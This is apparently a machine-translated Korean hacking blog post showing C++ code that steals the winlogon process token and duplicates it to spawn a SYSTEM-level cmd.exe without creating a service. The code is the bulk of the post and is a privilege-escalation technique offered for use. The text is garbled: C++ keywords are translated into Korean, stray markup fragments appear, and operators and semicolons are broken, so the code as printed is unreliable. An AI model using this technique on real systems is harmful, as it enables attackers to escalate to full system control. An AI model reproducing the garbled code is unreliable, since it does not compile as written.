SYSTEM 권한으로 셸을 실행하려면 winlogon 프로세스를 통해 토큰을 만듭니다.

krhackapt · 25nj

서비스를 생성하지 않고 SYSTEM 권한으로 지정된 프로세스를 실행하는 방법을 알고 싶습니다. 온라인으로 검색해보고 남들이 쓴 글을 분석하면서 많이 배웠습니다

1. 지정된 프로세스의 토큰 핸들을 얻습니다
2. 토큰 핸들을 통해 메인 토큰을 생성합니다 2. 생성된 토큰 헤드를
통해 새로운 프로세스를 실행합니다.h # pragma 한 번 #포함 "iostream" #포함 "문자열" # 포함 "Windows.h" 사용 네임스페이스::std; main.cpp #include "stdafx.h" #포함 "head.h" 클래스 Jack { 공개: 핸들 GetAccessToken(DWORD pid) { HANDLE currentProcess = {}; HANDLE Asstoken = {}; DWORD LastError; currentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid); if (!currentProcess) { LastError = GetLastError(); cout <"ERROR:OpenProcess(): " << LastError << endl; return (HANDLE)NULL; } if (!OpenProcessToken (현재 프로세스, TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY, &Asstoken)) { LastError = GetLastError(); cout <<"ERROR:OpenProcessToken(): " <<endl; return (HANDLE)NULL; } return Asstoken; } void Runprocess(HANDLE 토큰) { DWORD LastError; if (!DuplicateTokenEx(Token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary,&토큰)) { LastError = GetLastError(); cout <<"ERROR

:디uplicateTokenEx(): " << LastError << endl; } STARTUPINFOW si = {}; PROCESS_INFORMATION pi = {}; BOOL ret; ret = CreateProcessWithTokenW(토큰, LOGON_NETCREDENTIALS_ONLY, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULLspan>, &si,&pi); if (!ret) { LastError = GetLastError(); cout "ERROR:CreateProcessWithTokenW(): " <<LastError endl; } } }; //wmain() 또는 main() 또는 기타 기본 함수. 두 번째 매개변수 중 두 개는 16진수로의 변환을 나타내고 하나는 일반 값을 나타냅니다. br>int wmain(int argc,WCHAR **argv) { //wmain()은 main()의 UNICODE 버전이고, _tmain()은 매크로이고, UNICODE인 경우 wmain()입니다. (argc < 2) { cout <"winlogon 사용법 <Pid>" << endl; return 1; } DWORD pid; pid = _wtoi(argv[1]) //16진수 변환 cout "[+] PID: " << pid endl; Jack jk; 처리 Ptoken=jk.GetAccessToken(pid); jk.Runprocess(Ptoken); return 0; }

winlogon 프로세스를 통해 토큰을 생성하여 SYSTEM 권한으로 shell-1.png를 실행합니다.

관리자 권한으로 cmd 실행

SYSTEM 권한으로 shell-2.png를 실행하려면 winlogon 프로세스를 통해 토큰을 생성하세요.

SYSTEM 권한으로 셸을 실행하려면 winlogon 프로세스를 통해 토큰을 만듭니다.

krhackapt

Administrator